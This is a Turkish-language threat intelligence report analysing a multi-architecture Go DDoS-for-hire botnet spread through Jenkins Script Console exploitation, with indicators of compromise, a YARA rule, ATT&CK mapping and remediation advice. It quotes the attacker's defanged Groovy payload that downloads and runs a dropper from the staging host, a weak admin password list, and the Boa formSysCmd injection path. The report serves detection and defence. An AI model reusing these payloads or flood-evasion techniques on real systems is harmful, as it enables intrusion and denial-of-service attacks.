malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
Çok Platformlu Bir Go DDoS Kiralık-Botnet'i
Kinryū Labs, çok günlük bir Jenkins Script Console istismar kampanyasıyla teslim edilen ve 11 ikili, 13 mimarilik bir damlalık (dropper) paketi olarak dağıtılan, Go ile derlenmiş bir DDoS botnet'inin Windows derlemesi olan bot.exe'yi analiz etti. Aşamalandırma ana makinesinin keşfi; canlı, kimlik doğrulamalı bir DDoS-kiralık API'si, bir Go SSH komut kanalı ve aynı makinede barındırılan Mirai soyundan bir aile belirledi. Bunun ticari bir DDoS-kiralık operasyonu olduğunu yüksek güvenle değerlendiriyoruz.
Yazan Davis Zheng·
TLP:CLEAR. Yayım için onaylandı. Örnek ve damlalık paketi, birkaç sensörde gözlemlenen çok günlük bir Jenkins istismar kampanyası sırasında Kinryū Labs bal küpü (honeypot) sensör ağı tarafından yakalandı. Yakalanan ikililer statik olarak analiz edildi ve çalıştırılmadı; operatörün aşamalandırma ana makinesi aktif dış keşifle (hizmet sıralaması, anonim FTP listeleme ve açıkta duran bir API’nin kimlik doğrulamasız yoklanması) karakterize edildi ve hiçbir kimlik doğrulama aşılmadı. Saldırgan göstergeleri etkisizleştirilmiştir (defanged).
Yönetici özeti
- 13mimari derlemesi, 11 benzersiz ikili
- 5adlandırılmış DDoS yöntemi, artı bir kiralık API
- 3tek bir /22 içinde koordineli kaynak IP
- 2tek bir ana makinede botnet ailesi
bot.exe, çok mimarili bir damlalık paketi olarak dağıtılan, Go ile derlenmiş bir DDoS botnet’inin Windows x86-64 derlemesidir. Bir yardımcı kabuk betiği olan bins.sh, tekilleştirmeden sonra on biri benzersiz olan on üç mimari derlemesini getirir; bunlar 32 ve 64 bit x86, dört ARM profili, ARM64, Android ARM64 ve big-endian ile little-endian MIPS’i, Windows ikilisinin yanı sıra kapsar. Paket, bal küpü ağına açıkta duran bir Jenkins sunucusunun istismarı yoluyla ulaştı.
Kötü amaçlı yazılım; adlandırılmış beş sel (flood) yöntemi (HTTP, TLS el sıkışma, ICMP, doğrudan TLS ve VOULT etiketli hacimsel bir yöntem), meşru trafiğe benzemek için tarayıcı User-Agent dizelerini ve yerel ayar (locale) başlıklarını döndüren bir HTTP seli ve kendi kendine yayılma için RealTek SDK cihazlarındaki Boa web sunucusunu hedef alan komut enjeksiyonu yükleri gömer. 185.226.93[.]242 adresindeki aşamalandırma ana makinesinin keşfi; 3333 portunda kimlik doğrulamalı bir DDoS-kiralık API’si, komut kanalı olarak hizmet veren 2222 portunda Go ile gerçeklenmiş bir SSH hizmeti ve Mirai/Gafgyt soyundan ikinci bir botnet ailesini aşamalandıran anonim bir FTP hizmeti belirledi.
Kinryū Labs, bot.exe’nin ticari bir kiralık hizmet olarak işletilen, kötü amaçlı, kendi kendine yayılan, çok mimarili bir DDoS botnet’inin parçası olduğunu yüksek güvenle değerlendirir. Değerlendirmeyi üç bulgu taşır: ikilinin kendi saldırı yöntemi ve istismar dizeleri; operatörün aşamalandırma ana makinesinde iş parametrelerini doğrulayan ve kimlik doğrulaması gerektiren canlı bir kiralık API; ve paketi teslim eden, sürekli, çok düğümlü bir kampanyanın bal küpü telemetrisi.
- bot.exe, çok platformlu bir Go DDoS botnet'idir. Beş farklı sel yöntemi günlük dizesi, tarayıcı taklidi düzeneği ve SOCKS5 desteğiyle birlikte hedef ve süre parametrelerini taşır; hepsi karartılmamış dizelerde ve canlı API ile doğrulanmış.
- Operasyon, ticari bir DDoS-kiralık hizmeti olarak işler. Aşamalandırma ana makinesi, 3333 portunda iş parametrelerini (
user,psw,host,method,time,port) doğrulayan ve geçersiz kimlik bilgilerini reddeden bir API açığa çıkarır. - Botnet, IoT komut enjeksiyonu yoluyla kendi kendine yayılır. İkili; bir Boa
formSysCmdkomut enjeksiyonu yükü, bir yönlendirici oturum açma kaba kuvvet yolu ve dışa aktarılmışloginDeviceileloginDeviceCaptchaişlevleri taşır ve bal küpü günlüklerinde kaydedilen aynı tek satırlık damlalığı enjekte eder. - Üç kaynak IP tek bir operatördür.
185.226.92[.]0/22içindeki üç adres, koordineli zamanlama ve ortak bir kimlik bilgisi listesiyle özdeş yükler teslim etti ve teslim ile aşamalandırma IP'leri özdeş SSH ana makine anahtarları sunar; bu, tek bir ana makineye ya da klonlanmış imajlara işaret eder.
Teslim: sürekli bir Jenkins Script Console kampanyası
Paket, internete açık bir Jenkins örneğinin istismarıyla teslim edildi. Bal küpü telemetrisi tutarlı bir iki adımlı yöntem kaydetti: CSRF belirtecini almak için bir GET /crumbIssuer/api/json, ardından bir Groovy Script Console yükü taşıyan bir POST /script. Yük denemeler boyunca özdeşti ve burada etkisizleştirilmiştir:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
İstekler, admin hesabı için kısa bir zayıf sayısal parola sözlüğünü döndüren bir Authorization: Basic başlığı taşıdı (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123); bu, hedefli kimlik doğrulamadan çok otomatik bir kimlik bilgisi listesinin işaretidir.
Kampanya birkaç gün boyunca tekrarlanan dalgalar halinde yürüdü:
- 1. Dalgaİlk yoklamalar: CSRF-crumb kontrolü ardından Groovy RCE, aşamalandırma IP'sinden ve aynı bloktaki ikinci bir adresten.
- Yakalama
bins.shve on üç varyantın hepsi, yaklaşık on dört saat arayla iki sensörde kurtarıldı; ikisinde de bayt bayt özdeş. - Sonraki dalgalarÜç kaynak IP'nin hepsinden, birbirinden dakikalar içinde, döndürülen User-Agent'larla paralel istismar.
İstismar istekleri gerçekçi tarayıcı User-Agent’larından oluşan geniş bir kümeyi döndürürken, daha fazla Jenkins hedefi arayan keşif taraması (bir /login getirmenin ardından hızlı bir /script isteği patlaması) varsayılan Go-http-client/1.1’i kullandı. Sahte User-Agent’lar istismar yüklerine biner; tarayıcı botnet’in yerel Go istemcisini kullanır. Aşamalandırma ve C2 ana makinesinin kendisi istismara katıldı, dolayısıyla saldırı ve barındırma altyapısı ayrılmamıştır.
Kötü amaçlı yazılım: tek bir Go kod tabanı, on bir ikili
Botu Go ile yazmak, tek bir kod tabanının operatörün istediği her hedefe çapraz derlenmesine izin verir. Damlalık, tüm ürün hattını dolaşır; her derlemeyi wget ile ve bir yedek olarak yeniden curl ile getirir, çalıştırılabilir olarak işaretler, çalıştırır ve siler. Paket, Linux damlalığının yine de chmod +x’ten geçirdiği bir Windows .exe’si içerir ve betiğin ürettiği yapı, bir derle-ve-listele boru hattına işaret eder. Tekilleştirmeden sonra on üç derleme on bir benzersiz ikiliye iner: x86 ve i386 derlemeleri eşleşir, jenerik ARM ve ARMv7 derlemeleri gibi. MIPS ve eski ARM’den Android’e uzanan mimari yelpazesi, yönlendiricileri, kameraları ve diğer gömülü cihazları hedef alan bir botnet’i işaret eder; Windows derlemesi ise aynı kodu masaüstlerine ve sunuculara taşır.
İkili paketlenmemiş (PE bölüm entropileri 5.4 ile 6.3 arasında düşer) ve soyulmamış (strip’lenmemiş) (Go build ID ve çalışma zamanı sembolleri sağlamdır), dolayısıyla yetenekleri düz dizelerde oturur. Derleme zaman damgası sıfırlanmıştır ki bu Go derlemeleri için normaldir.
İkilinin günlük dizelerinde beş sel yöntemi adlandırılmıştır ve her biri bir hedef ve bir süreyle biçimlendirilmiştir: bir “HTTP (Optimized)” seli, bir TLS/TCP “Handshake” tüketim seli, bir ICMP “PING” seli, doğrudan bir “TLS+” oturum seli ve hacimsel ve muhtemelen UDP tabanlı bir “VOULT” yöntemi. Hem uygulama katmanı hem de ağ katmanı seçenekleri mevcuttur.
HTTP seli meşru trafik olarak geçecek şekilde kurulmuştur. Windows, macOS, iPad ve Android üzerinde Chrome, Edge, Opera, Firefox ve Safari’ye ait ondan fazla tarayıcı User-Agent dizesini; on beş Accept-Language yerel ayarını; ve azaltma (mitigation) hizmetlerinin denetlediği sec-fetch-* ve sec-ch-ua-* parmak izi başlıklarını döndürür. Küçük bir yüksek itibarlı site kümesinden (google.com, reddit.com, facebook.com, bing.com, twitter.com ve fbi.gov) bir Referer ayarlar. User-Agent kümesindeki bir girdi, birebir Hello World dizesidir; hiçbir meşru istemci bunu göndermediği için temiz bir tespit imzası oluşturan bir geliştirici yer tutucusu.
Yayılma, birçok RealTek SDK yönlendiricisi ve kamerasında hâlâ gönderilen küçük bir gömülü HTTP arka plan süreci olan Boa web sunucusunu hedef alır. İkili, Boa’nın formSysCmd işleyicisine karşı bir komut enjeksiyonu yükü ve yönlendirici yönetici arayüzlerine karşı bir oturum açma kaba kuvvet yolu taşır; JSON kimlik bilgisi alanları ve dışa aktarılmış loginDevice ile loginDeviceCaptcha işlevleriyle. Enjekte edilen komut tek satırlık damlalıktır, dolayısıyla ele geçirilmiş bir cihaz bir sonrakinin teslim noktası olur.
Vendor’lanmış Go modüllerinin hepsi standart golang.org/x paketleridir; bağlı üçüncü taraf bir C2 çerçevesi yoktur. Bunlar chacha20poly1305, http2/hpack, dns/dnsmessage ve http/httpproxy’yi içerir ve gözlemlenebilir yeteneklerle eşleşir: kimlik doğrulamalı-şifrelenmiş bir kanal, HTTP/2, ham DNS ve SOCKS5 vekilleme (socks5, socks connect ve socksUsernamePassword dizeleri mevcuttur). C2 yapılandırması çalışma zamanında hxxp://<C2>/config.dat’tan alınır; ikilideki tek sabit kodlanmış adres aşamalandırma ana makinesidir.
Komuta-kontrol ve aşamalandırma altyapısı
Aşamalandırma ana makinesinin keşfi aşağıdaki hizmetleri belirledi:
| Port | Hizmet | Amaç |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, anonim oturum açma etkin | Kötü amaçlı yazılım aşamalandırma (ikinci aile, aşağıda) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | Operatör erişimi |
| 1001/tcp | Go net/http sunucusu | Birincil aşamalandırma: bins.sh ve varyantları sunar |
| 2222/tcp | Go SSH (SSH-2.0-Go) | Bot komut kanalı |
| 3333/tcp | Go net/http sunucusu | DDoS-kiralık API’si |
Kiralık değerlendirmesini iki bulgu destekler. Teslim IP’si ve aşamalandırma ana makinesi özdeş ED25519, RSA ve ECDSA SSH ana makine anahtarları sunar; bu onları aynı makineye ya da tek bir şablondan klonlanmış imajlara yerleştirir ve 2222 portundaki Go SSH hizmeti, 22 portundaki sistem OpenSSH’sinden farklı bir anahtar sunar; bu onu bir yönlendirme değil ayrı bir uygulama olarak işaretler. 3333 portundaki API, eksik parametreler için bir isteği reddeder (user, psw, host, method, time/duration, port) ve test kimlik bilgileri için bir kimlik doğrulama hatası döndürür; diğer tüm yollar 404 döndürür. Bu, canlı altyapı üzerinde çalışan ticari bir booter’ın asgari, istek başına kimlik doğrulamalı arayüzüdür.
Aynı ana makinede ikinci bir aile
Anonim FTP hizmeti, dosya adlarından ötürü burada “boatnet” olarak anılan ayrı bir botnet ailesini aşamalandırır. Damlalığı (ohshit1.sh) BusyBox ftpget istemcisini kullanır, çalıştırmadan önce her ikiliyi WTF olarak yeniden adlandırır ve Mirai/Gafgyt soyundan egzotik gömülü hedefler (ARC, m68k, SH4, SPARC) dahil on beş mimari boyunca derlemeleri arka planda başlatır. İkililer C ile derlenmiş ELF, soyulmuş (strip’lenmiş) ve paketlenmiştir (UPX sihirli sayısı olmadan 7.6 ile 7.9 entropi, özel bir paketleyiciye işaret eder), dolayısıyla statik incelemeden pek az şey kurtulur. boatnet eserleri bot.exe paketinden öncedir ve ilgisiz bir kod tabanı çalıştırır, dolayısıyla tek bir ana makine iki ayrı botnet ailesini aşamalandırır.
Barındırma
Her iki saldırgan IP’si de 185.226.92[.]0/22 içinde düşer; RIPE NCC üzerinden Türkiye merkezli bir VPS sağlayıcısına (ağ adı BIGCORE-US, AS205196 / AS57152) kayıtlıdır ve [email protected] kötüye kullanım (abuse) irtibatına sahiptir. Barındırma sağlayıcısını raporlama amacıyla belirliyoruz ve operatörün kimliği hakkında hiçbir iddiada bulunmuyoruz.
İhlal göstergeleri
Saldırgan altyapısı etkisizleştirilmiştir. Örnek özetleri (hash) ve tespit dizeleri, tasarımı gereği canlı değerler taşır.
Ağ
| Gösterge | Bağlam |
|---|---|
185.226.93[.]242 | Aşamalandırma + C2 ana makinesi; ayrıca aktif bir tarayıcı |
185.226.92[.]110 | Birincil tarayıcı / teslim düğümü |
185.226.92[.]173 | İkincil tarayıcı |
185.226.92[.]0/22 | Barındırma tahsisi (BIGCORE, AS205196). Makul çevre engellemesi |
185.226.93[.]242:1001 | HTTP aşamalandırma (bins.sh + varyantlar) |
185.226.93[.]242:2222 | Go SSH komut kanalı |
185.226.93[.]242:3333 | DDoS-kiralık API’si (/api, parametre kapılı) |
185.226.93[.]242:21 | Anonim FTP, boatnet aşamalandırma |
hxxp://<C2>/config.dat | Çalışma zamanı C2 yapılandırma alma deseni |
/boafrm/formSysCmd, /boafrm/formLogin | Giden yayılmada Boa RCE ve oturum açma kaba kuvvet URI’leri |
SSH ana makine anahtarı (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | Teslim ve C2 IP’leri arasında paylaşılan; pivot göstergesi |
Dosyalar
| Dosya | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (damlalık) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Tam damlalık paketi özetleri (13 derleme boyunca 11 benzersiz)
| Derleme | SHA-256 | Boyut (bayt) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
Ana makine ve kimlik bilgisi kalıntıları
- Jenkins
adminkaba kuvvet sözlüğü:1123,123451,1231231,1111111,12345123. ohshit1.sh(boatnet damlalığı) ve çalıştırmadan önceWTFolarak yeniden adlandırılmış bir ikili.- Ayırt edici User-Agent’lar:
Hello World(bot HTTP seli) veGo-http-client/1.1(bot kendi kendini tarama).
Davranışsal
bins.sh’yi getiren bir GroovyProcessBuilder('sh','-c', …)yükü taşıyan birPOST /script’in ardından gelen JenkinsGET /crumbIssuer/api/json.- Bir
Connecting to CNC...günlük satırının öncelediği,/config.dataltındaki bir ana makineye giden giden istekler. sysCmdselect=5ve birwget … bins.shgövdesiyle gelenPOST /boafrm/formSysCmd.
Tespit
Dizeler kararlı ve karartılmamıştır, dolayısıyla imzalar sade ve doğrudandır. Aşağıdaki YARA kuralı, doğrulanmış dizelerden oluşturulmuş bir adaydır; dağıtımdan önce doğrulayın.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
Ağ tespiti:
- Jenkins:
ProcessBuilder’ı bir ham IP’yewget/curlile içeren, özellikle birGET /crumbIssuer/api/json’un öncelediğiPOST /scriptgövdelerinde uyar. - IoT yayılması:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - Altyapı: teslim ve C2 adreslerini kapsayan
185.226.92[.]0/22’yi engelle ve o aralıktaki 1001, 2222 ve 3333 portlarına giden bağlantılarda uyar.
Düzeltme
- Jenkins’i internete açmayın. Onu kimlik doğrulama ve ağ yalıtımı arkasına yerleştirin, yöneticiler dışındakiler için Script Console’u devre dışı bırakın ve erişilebilir bir derleme sunucusunu tam bir ana makine ihlali riski olarak görün. Teslim vektörü buydu.
- Güçlü Jenkins kimlik bilgilerini zorunlu kılın ve kimlik doğrulamayı hız sınırlayın. Kampanya,
adminiçin kısa bir zayıf sayısal parola sözlüğüne dayandı. - RealTek/Boa tabanlı yönlendiricileri ve IoT cihazlarını bölümleyin ya da değiştirin ve yönetici arayüzlerine dış erişimi engelleyin. Bunlar botnet’in yayılma hedefidir.
- Barındırma tahsisini (
185.226.92[.]0/22) çevrede engelleyin ve Boa RCE URI’sinde veconfig.datalma deseninde uyarın. - Çıkışı (egress) filtreleyin. Mimari adlı dosyaları çekmek için 1001 portundaki bir ham IP’ye ulaşan ya da o aralıktaki 2222 veya 3333 portlarına bağlanan bir ana makine anormaldir ve ana makine tespitinin bulunmadığı yerde yakalanabilir.
- Altyapıyı bildirin. DDoS-kiralık API’si ve FTP ile aşamalandırılan kötü amaçlı yazılım, barındırma sağlayıcısının kötüye kullanım irtibatına (
[email protected]) bildirilebilir.
MITRE ATT&CK eşlemesi
| Taktik | Teknik |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Jenkins Script Console; yayılma için Boa formSysCmd) |
| Credential Access | T1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (IoT oturum açma) |
| Execution | T1059 Command and Scripting Interpreter (Script Console üzerinden Groovy; Unix kabuk damlalığı) |
| Discovery | T1046 Network Service Scanning (Jenkins/IoT kendi kendini tarama); T1082 System Information Discovery; T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading (tarayıcı User-Agent döndürme; boatnet WTF yeniden adlandırması) |
| Command and Control | T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; 2222’de Go SSH); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer (çok mimarili aşamalandırma) |
| Impact | T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (el sıkışma tüketimi) |
Metodoloji ve notlar
- Kapsam: yakalanan ikililerin statik analizi (çalıştırılmadılar) ve aşamalandırma ana makinesinin aktif dış keşfi (hizmet ve banner sıralaması, anonim FTP listeleme ve 3333 portu API’sinin kimlik doğrulamasız yoklanması). Hiçbir kimlik doğrulama aşılmadı.
- YARA kuralı, doğrulanmış dizelerden oluşturulmuş bir adaydır; dağıtımdan önce doğrulayın. boatnet ikilileri paketlenmiştir ve az sayıda dize verdi.
- Örnekler (bot.exe paketi, damlalık ve boatnet eserleri) diğer araştırmacılara ve savunuculara talep üzerine sunulur. Kim olduğunuza ve ne için gerektiğine dair kısa bir notla [email protected] adresine yazın.